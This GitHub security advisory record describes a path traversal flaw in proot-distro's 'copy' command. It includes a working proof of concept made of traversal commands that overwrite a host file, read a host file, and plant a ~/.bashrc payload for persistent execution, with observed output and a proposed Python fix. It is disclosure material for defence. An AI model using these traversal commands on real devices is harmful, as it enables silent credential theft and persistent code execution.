{"schema_version":"1.9.0","id":"GHSA-mfr4-mq8w-vmg6","published":"2026-07-17T20:25:37Z","modified":"2026-07-17T20:30:18.046384393Z","summary":"PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs","details":"<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1>\n<h2>Repository</h2>\n<p>https://github.com/termux/proot-distro</p>\n<p><strong>Maintainer:</strong> @sylirre</p>\n<hr>\n<h2>Affected Component</h2>\n<ul>\n<li><strong>Package:</strong> proot-distro</li>\n<li><strong>Affected command:</strong> <code>copy</code></li>\n<li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li>\n<li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li>\n</ul>\n<hr>\n<h2>Affected Versions</h2>\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n<hr>\n<h2>Proof of Concept</h2>\n<p>All tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The <code>.bashrc</code> overwritten\nduring testing was immediately restored.</p>\n<h3>Step 1 — Setup</h3>\n<pre><code>rm -rf ~/poc\nmkdir -p ~/poc\n</code></pre>\n<hr>\n<h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3>\n<pre><code>echo \"ORIGINAL\" &gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" &gt; ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt\"\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification:</p>\n<pre><code>cat ~/poc/target.txt\n→ PWNED_BY_PROOT_DISTRO\n</code></pre>\n<p>This confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.</p>\n<hr>\n<h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3>\n<pre><code>echo \"TOP_SECRET\" &gt; ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification:</p>\n<pre><code>cat ~/poc/read_result.txt\n→ TOP_SECRET\n</code></pre>\n<p>This confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.</p>\n<hr>\n<h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3>\n<pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\\n' &gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc\"\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'\n[*] Destination: '/data/data/com.termux/files/home/.bashrc'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification before restart:</p>\n<pre><code>cat ~/.bashrc\n→\necho VULN_TRIGGERED &gt; ~/poc/proof.txt\n</code></pre>\n<p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and\nexecuted the payload automatically:</p>\n<pre><code>cat ~/poc/proof.txt\n→ VULN_TRIGGERED\n</code></pre>\n<p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.</p>\n<hr>\n<h2>Attack Scenario</h2>\n<p>The most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.</p>\n<p>On a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p>\n<hr>\n<h2>Proposed Fix</h2>\n<p>After resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:</p>\n<pre><code>import os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n</code></pre>\n<p>This check must be applied to both the source and destination paths in the\n<code>copy</code> subcommand.</p>\n<hr>\n<h2>Additional Notes</h2>\n<ul>\n<li>This issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.</li>\n<li>No root access was used at any point during testing.</li>\n<li>All test files were self-owned and contained only harmless marker data.</li>\n<li>The <code>.bashrc</code> overwritten during testing was immediately restored after\nverification.</li>\n</ul></body></html>","affected":[{"package":{"name":"proot-distro","ecosystem":"PyPI","purl":"pkg:pypi/proot-distro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.0"}]}],"versions":["5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0b5","5.0.1","5.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mfr4-mq8w-vmg6/GHSA-mfr4-mq8w-vmg6.json"}}],"references":[{"type":"WEB","url":"https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"},{"type":"PACKAGE","url":"https://github.com/termux/proot-distro"},{"type":"WEB","url":"https://github.com/termux/proot-distro/releases/tag/v5.1.0"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-07-17T20:25:37Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}